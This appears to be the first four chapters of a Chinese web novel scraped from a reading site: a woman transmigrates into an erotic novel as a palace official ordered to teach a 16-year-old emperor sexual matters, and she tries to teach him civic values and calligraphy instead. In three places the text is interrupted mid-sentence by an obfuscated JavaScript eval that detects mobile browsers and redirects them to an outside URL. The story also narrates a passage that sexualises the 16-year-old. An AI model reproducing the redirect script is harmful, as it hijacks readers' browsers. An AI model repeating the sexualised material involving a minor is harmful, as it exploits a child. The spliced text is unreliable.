《如何教养白切黑陛下》 1. 第 1 章 “这事儿我干不了。” “那你还想活命吗?” “想活命也干不了啊,我可是正经的三好公民,哪能传播如此□□之物!” “你想活命吗?” “……” 云黛妥协了,瞅了眼上头坐着的女子,问系统:“那我这个身份,在书里是什么结局?” 她发出三连问:“暴富了吗?” “升职加薪了吗?” 更重要的是:“寿终正寝了吗?没有猝死吧?” 杀千刀的老板把员工当牛马,通宵加班,搞得她猝死了。这里虽说不像现代那么卷生卷死,但应该真的会掉脑袋吧…… “原身在书里,最终的结局是因教的太成功,为避免被人抓到把柄,太后处死了她。” 云黛:“……差点忘了这是一篇小he文e不发音。” “我要不还是现在就死,还能早点投胎。” 一个小时前刚穿过来,还没了解透穿的这本书,就被太后手底下的嬷嬷架着去永寿宫,叫她去教皇帝床上礼仪。 请问呢,这事儿还要教? 穿的这本她是没看过,小he文她倒是看了几本,但上来就是干,哪有教的? “皇帝就是主角……那我去,岂不是……”云黛想到个很严重的问题,问系统:“原身有没有和主角那个啥?” 系统:“书里原身和主角做了第一次。” 云黛两眼发黑,想马上投胎,希望地府里不要排队。 “你不愿?” 轻柔的声音落到头顶,要不是知道原身是被太后杀的,她还觉得眼前这位看起来挺年轻的太后是个好相与的。 “哀家选你,是看在你在宫中这么多年,安分守己,事事利落,手脚干净,想来去教陛下这事,当是再合适不过了。” 云黛觉得这话在骂人。 “若是你不愿,哀家只能另选旁人来做这差事。”袁络仪漫不经心地抿了口茶,不过片刻,底下人应了。 云黛还能怎么办,只能走一步是一步了。不管到哪,都逃脱不了被老板压榨。 “我——”她赶紧改口:“臣定然倾囊相授,教会陛下……”后面的她实在说不出口,再说她自己也没干过,原身更不可能干,这要怎么教? 袁络仪眼神示意边上的嬷嬷给她两本册子,慢悠悠道:“哀家已叫人接了你的职位,今后你只需好好教陛下,做的好,哀家可准你出宫,为你寻个良人。” 云黛觉得还不如换成钱让她带走呢,画这么大的饼,最后还要杀了她,啧啧啧。 她接过来,一眼看到封面上明晃晃三个大字,差点没控制好表情。 “春宫图”。 不愧是小h文,这东西哪都有。 “你先照着上头的教,若是这些个不好用,叫王嬷嬷再给你寻些来。” 云黛瞥了眼边上一身狠劲的嬷嬷,连忙说谢。 事情交代完,袁络仪就打发她走。 云黛方起身,还未走两步,被问:“你打算什么时候开始教陛下?” 她想了想,刚穿过来,得缓缓吧,还得熟悉熟悉“教材”,搞教案吧,这不得要个三四五六七八天? 她说:“半个月后?” 王嬷嬷冷声命令她:“此事对陛下至关重要,云尚仪该是即刻便去教导陛下。” 云黛越发觉得小h文离谱,不讲逻辑,哪有白日干这种事情的? 不对,教人就得白天教,晚上教这种东西岂不是容易出事? “臣这就去。” 云黛行了礼,掉头就跑。 好在她有原身的记忆,有些地方不至于出错。 据系统说,这本限制级小h文开篇就是女官教主角床上礼仪,教了几百字就被扑倒踉踉跄跄。 后来么,有一段时间,主角只逮着女官一个人薅,女官拿来画本,教一次就被扑一次。 前期主角不熟练,很生涩,后期就成了豺狼。 云黛想让系统念给她听,系统挑了一段,她听得面红耳赤,直接叫停。 大白天的听这个不好,等晚上再叫系统念。 云黛边往主角寝殿走,边听系统说原书剧情。忽然意识到一个很严重的问题:“主角叫什么来着?多大了” “骆明烛,生辰还没过,十六岁。” 云黛当即愣在原地,回头望永寿宫方向,要不是周围来来回回走动的人太多,她都要骂出来。 不是人啊不是人啊,教16岁的人干这事! “你说太后是不是故意的,书里有没有写太后想夺权,故意将骆明烛教坏!” 系统:“这只是一本小h文,不是权谋文。” “那就是别的什么王爷想夺权,哄骗太后,教坏骆明烛!” 系统:“这是一篇没有逻辑的小h文。” 云黛准备去看看骆明烛到底长啥样,好好的人被教得只会思□□,这怎么都不正常! “书里解释过一句,说是皇帝的一举一动都代表皇家威严,处处都不得出差错,若是皇帝宠幸的女子说他活不好,被传出去,丢脸,所以才喊人教这些东西。” 云黛仔细回想原身记忆,发现整个皇宫太后话语权在皇帝之上,掌控欲极强,日日要盘问宫内的事,尤其是与骆明烛有关的。 “所以原身被杀也有这个可能!她不想看到骆明烛对谁过度接近。” 云黛越想越觉得这活不能真干,走上台阶时,灵光一闪,想到个办法。 “我可以教他正确的理念,再教他谋略,他强大了,不就能护住我了?”想法很美好,现实很残酷,牛马能翻身成狮子老虎? “骆明烛白天也在寝殿?” 系统说:“因为这是一本——” “我知道了,你不用再说,我真的知道了!” 云黛穿过长廊,边上的宫女朝她行礼,她已经没什么心情对她们笑。 走到乾坤宫门口,云黛不由得感叹当皇帝就是好啊,住这么好的地方,还有人伺候,可比牛马好多了。 哦,她现在还是牛马,随时会掉头还会被扑的那种…… 云黛拍了拍脸,挤出笑,走进去,守着的太监拦住她,她龇着牙,笑着说:“劳烦您通报一声,太后命臣来教陛下礼仪……” 太监瘦瘦的,看着柔弱,很好欺负。 这是骆明烛身边伺候的小太监,叫小福子,系统适时说:“小福子后来也被处死了。” 云黛看着小福子走进去汇报,他穿着明显大了好些的衣服,走路倒是蛮轻快的。 “为啥?” 系统说:“因为后期小福子帮骆明烛瞒着太后他和某个官员女儿来往,太后发现,处死他了。” 云黛笑容僵了,趁着还没进去,先问清楚骆明烛睡了多少人。 “好像九个吧。” 云黛觉得这真不愧是小h文,还是男频的,忽然觉得不用教骆明烛正确成人了,她对系统说出自己新想出的主意。 “不然我刀了骆明烛,然后再被太后刀,早点去地府排队投胎。” 系统:“你真的不想活吗?” 云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252314|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黛苦哈哈一张脸,跺了跺脚,使劲踢了一下台阶,台阶不疼,她脚疼。 “我想啊,可是活着好难——” “陛下已经知道了,云尚仪请进吧。” 云黛立刻站直,稍稍颔首,笑着说辛苦公公通报,挺直了背走进去,像是进战场。走了半天,绕过好几间房,才到了寝殿里。 里头很暗,没点几盏灯,窗户还半掩着的,越看越觉得这里就是个做那种事的地,处处让人觉得不安。 地方很大,地板金灿灿的,空旷的房间中放了个四方矮桌,上头放着个烛灯,没点,也没人。 云黛喊了一声陛下,问系统原身是在哪教骆明烛,以及骆明烛在哪。 然后她就听到系统说了她最不想听到的两个字:“床上。” 云黛觉得自己还是不要去床那。 “陛下?太后命臣教您礼仪,今后陛下得跟着臣学习礼仪。” 她喊了会,还是没有动静。 一直拿画册,累手,她把画册放到矮桌上,想坐着等一会,从永寿宫走到这差不多得二十分钟,累死了。 但怕人突然出来,见她先坐下了,不得说她无礼。 刚这么想,前方传来窸窸窣窣的声音,屏风之后便是窗,隐约能见到个人影。 云黛往前走了一步,小声唤了声:“陛下?” 话音落下,一人从屏风后走出来,烛光昏暗,看不清他的容貌,但身量极好,远远一看,长身玉立,走路还带风。 云黛的心忽然就跳得快了起来,有种去面试的紧张。 等少年走近,被烛火照耀,云黛第一眼看到的,是他倒映烛火的黑瞳。 他看过来的眼神,很单纯,纯粹到像刚出生的孩子,对一切都抱有善意。 再走近,云黛看清了他的脸。他这张脸生得极好,有种男生女相的妩媚感,不过他现在应该是不知道自己容貌的魅力,不知道做出什么样的表情,才能最大程度地散发魅力。 只是单纯地看着你,便已是很容易让人看入了迷。 真的不大,一眼看过去,脸稚嫩地很,倒是比她高,衣袍松松的,看着好像有点瘦。 要是他不是小h文主角就好了。 云黛暗戳戳问系统:“你查一下书,骆明烛是不是女扮男装,或者是后面还有什么男男……” 系统:“骆明烛是男的,书里没有男男情节。” “那怪了,他长成这样,用得着教吗?” 云黛思索着袁络仪的目的,想起来这就是个小h文,哪有什么目的,轻轻咳了咳,挺直背,一本正经道:“陛下,太后命臣来教你礼仪,就是那种——” 她在想要怎么表达才会委婉一点,眼前的少年天子张开有些苍白的唇,朝她弯了眼眸,笑着说:“母后已经与孤说过,云尚仪是来教孤皇家礼仪的。” 他说着,绕过她,走到矮桌后坐下,手正好搭在画册上,遮住了那三个字。 修长的手指按着画册,少年天子仰头,笑容单纯,眼底只有对她的尊敬。 他乖乖坐下,不吵也不闹,没有为难她,也没有羞涩,只这么用最纯粹的眼神望着她。 云黛觉得自己一颗心被击中了。 好乖的小孩! 她刚要说话,就见骆明烛垂头,正要移开压住画册的手,她赶紧去抢。 “陛下我马上就教您——” 她也不知抽了哪根筋,手欠翻开画册,男女欢愉的图画直击双眼。 偏偏这个时候,骆明烛好奇的声音响起:“您要教孤什么呢?” 2. 第 2 章 要教你怎么行那云雨之事。 云黛一把把画册合上,他敢学,她都不敢教。 转眼一看少年天子那单纯的眼神,似乎不知道她是来教他这东西的,云黛还是觉得,不该教他这种东西。 原书确实是小h文,但现在教骆明烛的人是她,没必要完全按原书剧情走。袁络仪要是问起来,她再教也是一样的。 再说了,都穿书了,干嘛还听老板的话,最后都要投胎,还不如按自己心意去做。 “太后与陛下说过,臣要来教您哪些礼仪吗?” 骆明烛摇头,浓密的眼睫掀起,他的瞳仁似乎比常人要大一些,烛光被吸入,琥珀色的眼瞳更加明亮。 他似个晶莹剔透的宝石,一眼就能看透。 云黛越看越觉得这本小h书真h啊,设置这样的主角,小小年纪就做那事,也不怕精尽人亡。 她问系统:“骆明烛最后结局是啥?” 系统:“死了。” “?”云黛震惊,哪有小h文主角结局是死了的?作者在写什么啊? 她刚想问系统怎么死的,衣衫被轻轻拉了拉,一回神就见少年天子仰着洁净白皙的脸,见她看过来,收回手,笑着说:“母后只说您教什么,孤就学什么。” 好家伙在这给她挖坑呢,不告诉骆明烛要教云雨之事,日后出事就拿这个当借口除她是吧。 好! 牛马今天就要崛起! 云黛把画册往地上一扔,啪的一声,骆明烛身子颤了一下,眼巴巴望着她,小心翼翼道:“是孤说错了话,惹您生气了吗?” 云黛一愣,她刚才没生气啊。再一看骆明烛那战战兢兢的模样,皱起眉头,边安抚他边问系统。 “书里他也是这副……”云黛仔细观察他,总结道:“像只容易受惊的兔子?” 系统:“是的,宿主你可以今晚听我读完全本,会更了解骆明烛的性格。” 云黛本就有这个想法,与骆明烛接触过后,更想看了。这样性格的人当小h文主角,受众多吗?不会是作者的xp吧…… 真后悔自己把短暂有限的生命都给了没啥用的事业,就该多享受享受,多看点作者们写的xp文。 “咳咳,那授课现在开始。”云黛左顾右盼,瞧见不远处的椅子,自己走过去搬。 骆明烛静静看着她,烛光摇晃,他艳丽的脸庞一半被烛光照得柔和,一半被阴影笼罩。 一般臣子在皇帝面前,须得行跪拜礼,且不得令,不可坐下。云黛不仅自己搬来了椅子,还坐得比骆明烛高,这不合礼仪。 掌管尚仪局的尚仪,竟然不守礼。 云黛坐下来时,骆明烛忽然自责道:“是孤疏漏了,忘记要给尚仪大人赐座,您会不会怪我?” “嗯?”云黛摇头,说:“不会。” 她装模作样咳了一声,绞尽脑汁想接下来要教些什么东西,才好把今天糊弄过去。 还没想好,骆明烛已经开问:“您要教孤什么?” 云黛突然想到一个好东西。 她挺直了身,目光坚定,对面的少年天子见她这般,也不由得跟着一起挺直了身,倒是与坐得比他高的云黛齐平了。 “今日,我便教陛下二十四字箴言,陛下可要听仔细了。” 骆明烛点头,满是期待:“您说。” 云黛说出第一个词:“富强。此二字意为一国经济建设的物质基础,体现国家繁荣和人民幸福。” 骆明烛歪了脑袋,眼里透露出迷茫:“这是何意?” 云黛知道有些名词这里可能不大懂,她便解释给骆明烛听,幸好是文科生,这方面还能派上用场。 骆明烛听完后,似懂非懂地点头,忽然说:“可这并非是礼仪。” 云黛:“……” 是哦,这是思想政治课。 她笑:“这只是个开始,陛下不先了解这些,不知一国如何能昌盛,学那些礼仪也无用。” 已经暗示到这个地步了,就别揪着礼仪不放了!袁络仪那是想你堕落!咱可不能堕落!整改小h文,从你我做起! 骆明烛的话直接将她斗志搞没了。 “母后说过,政事有她处理便可,孤无需操心。”少年天子说这句话时,真的是天真极了。 云黛真想直接把他妈要她教他怎么行云雨之事告诉他,哪有妈让别人教儿子这些的! 她一下站起来,想撂挑子不干了。 瞬间想起这是个小h文,没有逻辑,不需要逻辑,书里就是这么设定的。 刚哄好自己,就听见骆明烛小心试探的声音,听着像是被她吓到了:“孤是不是又说错话,惹尚仪大人生气了?” 云黛下意识点了头,就见骆明烛低了头,只听啪嗒一声,桌面上冒出个豆大的水珠。 她惊呆了,颤巍巍问系统:“快告诉我,书里惹骆明烛哭的人是不是都死了。” 系统没说话,云黛瞪着那滴眼泪,耳边甚至能听到骆明烛抽泣的声音。 哭什么?哭什么?哭什么? 她还没哭呢,他哭什么?十六岁的年纪不应该早就过了动不动就哭的年龄段了吗? 系统还没说话,她好慌。 不会开局就要去投胎吧。 “你别哭了……”云黛朝他伸手,伸出去又缩回来,想了想又伸出去,不知道脑子里哪根筋搭错了,脱口而出:“你没说错话,我没生气,我真没生气,你别哭了,我害怕。” 抽泣声一顿,少年天子仰头看她,布满雾气的眼睁开,直直望着她伸过来的手。 与此同时系统的声音响起:“让骆明烛哭的人都死了。” 云黛伸出去的手瞬间收回来,背在身后,安慰他的想法没有了。 骆明烛眨了一下眼,挤掉一滴泪,再一看,那只手没有了,她突然就很快地收了回去。 他懵懂看她,手扣着桌沿,问她:“尚仪大人是讨厌孤吗?” 他眼睫上还挂着泪,面上疑惑,还有几分难过,瞧着真像满心欢喜,被人拒绝或是训斥后,闷闷不乐的小孩。 云黛觉得这书设定问题更大了。 这么单纯的少年,怎么就能干那事! 让他哭的还全都死了! 她说了什么重话吗?他就哭? 这谁敢惹他!谁敢接触! 云黛只能先把人稳定下来,她还没活多久呢,刚来就要准备投胎? “我想问,”她重新伸出手,指了一下桌上的泪渍,问:“你哭什么?我刚才很凶吗?” 云黛觉得自己已经够耐心够温柔了,要知道她在公司里是出了名的软柿子,好捏,怎么可能会把人惹哭。 骆明烛摇头,说没有,“都是孤的错……” 他要是眼眶没红,声音没哑,还能有点说服力。 云黛想了想,说点好听的安抚他:“你没有错。”她又补了句:“我也没有错。” “不过你经常这么哭吗?” 她可能是被书里剧情吓到了,都忘了尊称。 骆明烛摇头,拿了帕子,动作慢条斯理地抹了眼泪。 云黛注意到他的动作很优雅,姿态柔美,瞧着很是赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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骆明烛瞧了眼几乎全都关着的窗,眼中划过讥笑。他抬手,两指捏着烛芯,掐灭烛火。 此刻他面上天真全褪,与先前判若两人。 正要转身,瞧见地上没被带走的画册,春宫图三个字映入眼帘。 他垂眸看了会,俯下身,纤长的手指捡起来。 不过半个时辰,来人了。 “今日哀家特地叫了云尚仪来教你礼仪,你可有好好学?” 少年天子立刻点头,认真道:“尚仪大人教得很好,但孤太愚笨了,学不会。” 袁络仪笑着,说:“你可得好好学,学会了,对你好处可多着呢。” 袁络仪来就是为了确保云黛教的是她吩咐的东西,从骆明烛这得到证实,稍微放了心,没说几句便走了。 骆明烛送她出去,在寝殿门外站了好一会,小福子想着他进去歇着,他却站着不动,劝了几次,他依旧不回,只好陪他一起站。 袁络仪走后一刻钟,乾坤殿前急匆匆跑来一女子,发髻差点跑散了。 小福子走过去,看到她站在乾坤殿门口,喘着气,道:“我有东西落在陛下那了,劳烦公公通报一声,我去拿回来。” 骆明烛听着女子的声音,掉头朝寝殿内走去。 只听着小福子拦下那女子,遗憾道:“尚仪大人,陛下乏了,已经歇下,您还是改日再来吧。” 云黛惊了。 那玩意被骆明烛看到了还得了! 她要完了! 3. 第 3 章 “有件东西落在里头了,公公可以帮忙取出来吗?”云黛真是没辙了,搞不好骆明烛已经看到了,怎么偏就急着走,忘了拿呢! “陛下已经歇下,我也不好去打扰陛下,您还是明日再来吧。” 云黛觉得自己可能要被骆明烛认为是个心思不正之人了。 “系统,你能不能联络到地府,给我开个后门,随时都能投胎。” 系统:“……” “宿主请不要太消极,这只是本小h文,你的任务就是教骆明烛这些,这就是在走剧情。” “走被杀的剧情是吗?” 云黛想跑路了,现在就跑,马上跑出皇宫,这事谁爱干就干去吧,连个画册都拿不回来,还教什么教! 刚才还觉得这骆明烛挺乖,看起来挺正常的,结果还没走一会就关门睡觉,大白天睡什么觉!睡得着吗他! “回去!不拿了!” 云黛掉头就走。 让他看春宫图去!早点看!早点走剧情!她早点投胎! 小福子等她身影消失,立刻掉头回去,冲着里头坐在矮桌后的少年天子道:“云尚仪已经走了。” 昏暗的烛光照在画册上,男女欢愉的画面香艳露骨,各种姿势,边上还有文字解释。 骆明烛翻开一页,目光掠过画面,没有理小福子。指尖点在纸页上,正巧遮住画面男子面容。 女子一本正经教他治国理念的声音回荡,姣好的面容上闪过讥笑。 两指捏着书页合上,将画册扔到小福子面前,吐出一句:“烧了。” 画册滚落在金玉砌的地面上,书页翻开,男女欢愉的画面投入小福子眼中,他吓得后滑了好几步,颤声说:“奴才这就把这淫/秽之物烧了。” 他一把把画册合上,隔着袖子拿起来,像是拿着什么很脏的东西,匆忙跑出去。 跑到墙角烧时,他都不敢翻开,一个机灵想起来,这怕是就是云尚仪要拿的东西,忍不住咒骂起来:“带什么东西来不好,带这等……你真是饿了,白日都等不及了。” “云尚仪啊云尚仪,真看不出来你是这样的人。” 小福子转念一想,觉得不对劲。 “该不会是……”他一拍手心,觉得自己聪明极了:“该不会是你惦记上陛下,想要成为陛下的妃子吧!” 小福子连连摇头,把画册烧得一干二净,跑着回寝殿。“我得保护好陛下,陛下单纯着呢,可不能被她给带坏了。” “陛下,奴才已经烧干净了,下次云尚仪若是问起来,奴才便说没看见。” 伏在矮桌上的少年天子嗯了一声,站起身,走向屏风后,小福子识趣地后退着离开,关上殿门。 金线绣制的衣袍搭在屏风上,发冠拆下,墨发倾散,覆上健硕有力的身躯。 一道狰狞疤痕从锁骨往下三指宽的位置蔓延到侧腰,如同蜈蚣爬在身上。 他换上了件黑衣,将发挽起,扎紧,踏上床,再将帷幔散开。 寝殿内安静下来。 小福子盯着外头,叫那些个宫女太监好好盯着,不准放一只苍蝇进来,打扰陛下休息。 心中念叨,下次云尚仪来,他得仔细检查她带的东西,免得又脏了陛下的眼。 “奇怪,谁在骂我……”云黛摸了摸发烫的耳朵,倒了杯水喝,讲得她口干舌燥,还得回来才有水喝。 “系统,你之前说骆明烛死了,他怎么死的?” 系统立刻回答:“作者写的是,他被他皇叔杀了,然后他皇叔坐上了皇位。” 云黛咦惹一声:“这不是小h文吗,还有这剧情?真正的主角是那个皇叔吧?” “这小h文是不是还有第二部,主角是他皇叔?” 系统说不知道。 云黛边打量原身的房间,边叫系统把原书读给她听。 原身住的房间挺大的,比她的小破房间大多了,还有独立的院子,尚仪的权力就是大啊。等看到积蓄,眼冒金光。 “好多钱钱!” 云黛摸了一下,最后给放了回去。 “云黛按倒骆明烛,将他腰封解开,正要探进衣衫里时,被骆明烛摁住,他紧张地望着云黛,疑惑道:‘尚仪这是在做什么?’ 骆明烛觉得不该是这样的,可云黛告诉他,这是在教他一些必备的技能。他似懂非懂地点了头,松开她。 云黛一点一点地剥开他的衣衫,少年的身躯颤着,他又伸出手阻止她,觉得这样很不对。” “宿主我可以不读了吗?” 云黛正听得上瘾呢,有声小h文,多好听,干嘛要停。“你不读,我怎么知道原书剧情。” 系统欲言又止,它想告诉云黛,后面都是大块被哔——的内容,读不了。 “骆明烛被云黛哔——,云黛松开他,起身哔——骆明烛立刻哔——哔哔哔——” 云黛知道了,这是被屏蔽了,还以为真能听到小h文呢。 “行吧。”她拿出纸笔来涂涂画画,中央写了个“主角”,上头写了个“妈”,右边再写个“皇叔”,“云”在最边上。 “你再给我说说骆明烛的……嗯……和他有过亲密接触的女子。” 系统说:“第一个是云黛。” 云黛拿出另外一张纸,写了个“云,”虽然名字一样,系统说出这个名字时,她分的很清楚。 “第二个是太后袁络仪给骆明烛选的皇后,丞相千金,叫苏棠。” “性格怎么样?” “知书达理,大家闺秀。” 云黛记上去,“然后呢?” “第二到五个是袁络仪给骆明烛选的妃子,都是官家小姐。” 云黛一一记上。 “第六个是骆明烛出宫遇袭时,救他的一名女子,家里是开胭脂铺的。” “第七个是藩属国公主,第八个是花魁,第九个是臣妻。” 云黛写不下去了。 小h文里写是一码事,放到现实中炸裂极了,这要是她,她也想跟那皇叔一样把主角杀了。 “你觉得有没有可能,作者写着写着也觉得自己写的很过分,就让皇叔杀了主角,然后完结了。” “我不知道。” “或者作者写不下去了,安排主角死,然后完结。” “我不知道。” “也可能是作者写着写着,觉得皇叔更有魅力,想完结这本去开皇叔那本。” 系统:“我不知道。” 云黛将纸揉成一团,不写了,没什么好写的。 “算了,我还是把骆明烛教得正直点,做个明君吧,小h文伤身,不好。”云黛这么一想,觉得更难了,她是文科生没错,但学的都还给老师了,哪还记得什么东西。 可能是穿进小h文的原因,原身的记忆里只有一些重要的人名,一到历史啊,朝政啊,一些有关这个国家政务的东西,通通没有。 那她去哪教? “为什么我穿的不是霸道总裁文,或者团宠文,偏就是个小h文?” 云黛身心疲倦。 不过袁络仪不让她干本职工作,等于她只要去骆明烛那待一会,就能回来休息,待遇不变,还得挺轻松的,就是得提防掉脑袋。 云黛躺在床上,美滋滋滚了一圈,嗅着淡淡的熏香,想睡觉了。 穿过来前通宵了好几个晚上,现在得好好睡一觉。 能睡觉真好。 云黛闭上眼,叫系统继续念。 “哔——的地方直接跳过。” 系统继续念:“云黛将画册摊开——” “换一段。” 哪壶不开提哪壶,画册都没拿回来,下次去还不知道要怎么解释。 系统换了一段读:“骆明烛忽然哭了,他的声音软软的,听着很容易勾起心底恶劣的心思。云黛看了他一会,走近他,将他的……” “呼……” 云黛睡着了。 系统没有再读,下线了。 屋内安静得只有云黛粗重的呼吸声。 夜色渐暗,一道人影悄无声息地进入屋内,屋内光线暗,那人却游刃有余。 桌上的纸团被摊开,那人视线在第一张的人物关系图上看了会,翻开第二张,有几个名字倒是写的清楚,后面的字迹很乱,写到最后没了耐心,画了几个圈。 那人朝床上睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252316|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得四仰八叉的女子看去,呼吸声重得似乎在打呼噜。 只看了一眼,再将纸团揉回去,与之前没什么区别,几乎一模一样。 那人走了。 云黛还在睡,睡得太香,宫女来唤她,她都没醒。睡饱了自然醒来时,已经是第二日正午。 系统上线:“宿主,你得去教骆明烛了。” 云黛拍拍脸,还没睡醒,迷迷糊糊说了句:“骆明烛谁啊……” 她醒了。 云黛想回去继续睡。 “原来不是做梦啊。”再一看到周围场景,她再次绝望。 肚子正好叫了,饿了,想吃饭。 云黛刚想去小厨房瞅瞅有没有吃的,就听到外头宫女喊:“尚仪大人,乾坤宫来人了。” “陛下已经准备好,只等尚仪大人您去教陛下了。”小福子笑着对云黛行了个礼,做出请的姿势。 “我……还没洗漱……”云黛觉得这里和自己老家没区别,还是要被老板催着干活。 她开始怨恨骆明烛,你是皇帝啊!干嘛这么早上课!晚一点会死吗! 小福子依旧笑着:“奴才侯着大人您洗漱好,陛下已经等了一个时辰,若是您不快些……” 云黛立刻去洗漱,边洗脸边问系统:“书里小福子也是这样的?” 系统:“我不知道,他出场的次数很少。” 云黛洗干净脸,漱口过后,肚子更饿了。她试过,小福子就是要她现在就去。 没办法,只好先去,糊弄半个小时就回来吃饭。 乾坤点内宫女贴墙而站,比她上次来时,少了好几个,更拘谨了。 云黛在寝殿外站着,小福子进去通报。 等了有一会,小福子还没出来,云黛动了动腿脚,继续站着等。 树影都偏移了,小福子还没出来,不过是通报她来了,怎么还不出来? 云黛又想起昨日落在里面的春宫图,想到小福子来她院子里看自己的眼神,凶得很。 他不会是看见了吧? 云黛站得冒出了汗,还没吃饭,被太阳一晒,又热又虚。 “系统,书里有原身被罚站的剧情吗?” 系统找了一遍,说没有。 云黛想了想,直接喊了,反正骆明烛是个乖乖男,应该不会说她冒犯一类的话。 “陛下,臣来教您新的礼仪了。”她都喊了,他应该不会装作听不见吧? 寝殿内,小福子跪在金玉地板上,一听这声音,没好气道:“陛下,再晾她一会,她都敢将那东西带到您面前,这次又不知道要弄些什么东西。” 少年天子单手撑着下巴,右手握着墨笔,在白纸上写着两个字,歪歪扭扭,看不出写的是什么。 “云黛。” 他唤她的名字,放下笔,拿起纸,看着上头的字皱起眉。 “写的不是很好看呢。” 云黛的声音再次传进来:“陛下,您今日若是不适,臣改日再来?” 云黛巴不得他说好,回去再躺一天,真不想动用生锈的大脑教已经被遗忘的东西。 她正准备走了,小福子忽然跑出来,哼哼一声,说:“陛下让你进去。” 云黛觉得他可能听错了,骆明烛说的应该是让她回去。 她露出笑,说:“好,我这就进去。” 上次来的时候有点紧张,加上一直跟系统说话,没太注意骆明烛寝殿,现在这一踏进去,亮得晃眼睛。 到处都是金子,就连放蜡烛的烛台,都是金色的,一看就知道很豪。 没看到丢下的春宫图,云黛心死了。 少年天子依旧坐在矮桌后,见她来,面露笑容,说:“云尚仪怎么来得这么晚,孤已经等你很久了。” 云黛保持微笑,心中吐槽,睡得太香了,没起得来。怎么在古代还得早九啊…… “昨日有些不适,起得晚了。”云黛走过去,照旧自己去挪椅子,顺带飞速瞄寝殿,看看有没有她落下的春宫图。 但很遗憾,没有。 在骆明烛面前坐下后,她小心翼翼问:“昨日臣在陛下着丢了个东西忘了带走,陛下可见着了?” 4. 第 4 章 她刚问完,面前的少年天子疑惑问:“尚仪大人丢了什么东西?可否描述得具体些?” 云黛笑容凝固,她要怎么描述春宫图? 她深吸一口气,刚想说不找了,结果骆明烛又提一句。 “若是很要紧的东西,孤定然会帮尚仪大人找到。”少年天子眼神真挚。 云黛笑不出来,甚至头更晕了。 “我……” “咕叽——”肚子忽然叫了一声,云黛下意识捂住肚子,想找个地方把自己埋起来。 “陛下我今天不太舒服明天再来吧我先走了——” 她刚要走,瞥见矮桌下一张写了字的纸,瞧见上头的字,写的是“云黛”。 骆明烛的声音适时响起:“等大人来的时候,孤一直在练字,可惜字不好看,写了很多遍,也写不出能拿出来给尚仪大人看的……” 他的声音听起来失落极了。 云黛弯腰捡起来,放在桌上,看到他手指上的墨水,鼓励他:“这字哪里不好看了?这字可太好看了!” 鬼画符的字她是怎么夸出来好看的? 云黛觉得自己不愧是牛马,彩虹屁信手拈来。 少年天子仿佛被她的夸赞震惊到,眨了眨眼,坠下一滴泪,他声音听起来很惊喜:“这还是第一次有人夸孤的字好看。” 云黛也是昧着良心说的。 她尴尬地笑了一声,心想你这孩子还得多练。 她低头仔细去看他的字,写的比她还难看,教他练字应该不归她管吧,得加钱。 “不是有字帖可以临摹吗?陛下你多练练就好了。”一个机灵想到可以让他学好的办法,“每天花三四个时辰练字,练的多了写的就好看了。” 一天练字八个小时,古代人不是睡觉早吗?一天也就十几个小时,都花八个小时练字了,哪还有精力干别的。 她说着,自己拿了笔在空白地方写了自己的名字,一笔一划,很认真。 小时候老爸给她报了书法课,倒是挺有用的。 “你看,很简单。” 骆明烛慢慢直起身,垂眸看这个注意力全在写自己名字上的女子,眸色清冷。 他面无表情地说出惊讶的话:“尚仪大人的字清雅灵秀,很是好看。” “尚仪大人可以教孤吗?” 云黛被他惊羡的语气说得有些飘,脑一抽,答应了。 等她听到骆明烛说那就每天都来教他练字时,人已经死了有一会了。 她皮笑肉不笑:“陛下,我教不——” 少年天子眨了眨眼,眼眶很快湿润了,他缓缓伏底了身子,声音低落:“你不愿教孤吗?” 云黛啊了一声,问系统:“我是不是哪一步剧情走错了,他怎么开始要我教他练字?” 系统:“我也不知道啊。” 云黛想说不可以,她已经很累了,不想再干额外的工作,谁知道骆明烛赶她走。 “既然尚仪大人不愿,孤不便强求,您走吧,日后不必再来。” 他说着,起身就往屏风那走。 云黛一想到被赶走后,袁络仪来问,她就要被砍头,然后就得去投胎,感觉还挺好的。 但现在她饿得都没力气走,只好有气无力地朝骆明烛的背影伸出手,喊他:“陛下,你别走,我教!” 骆明烛脚步停下,没有立刻转身,女子声音的异常他听得很清楚,不过是为了求生而答应。 他的目的达成,眨了眨眼,将多余的眼泪挤掉,再一看自己写字时,手上沾的墨。 和他的眼一样的颜色。 深得一点心思都看不出来。 从来没觉得自己这么命苦过,饭还没吃上一口,就要跑过来教这些玩意,还得想好措辞,不能太冒犯。 云黛问系统:“我现在就告诉袁络仪,我教不了,她会不会立刻送我去地府?” 系统:“宿主如果想现在就去地府,可以上吊、投井、撞柱,或者直接拿侍卫的刀自戕。” 云黛想了想,还是继续挣扎着活下来吧。 她朝转过身走来的骆明烛笑笑,说:“今日臣教您第二个二字箴言:‘民主’。所谓民主……” 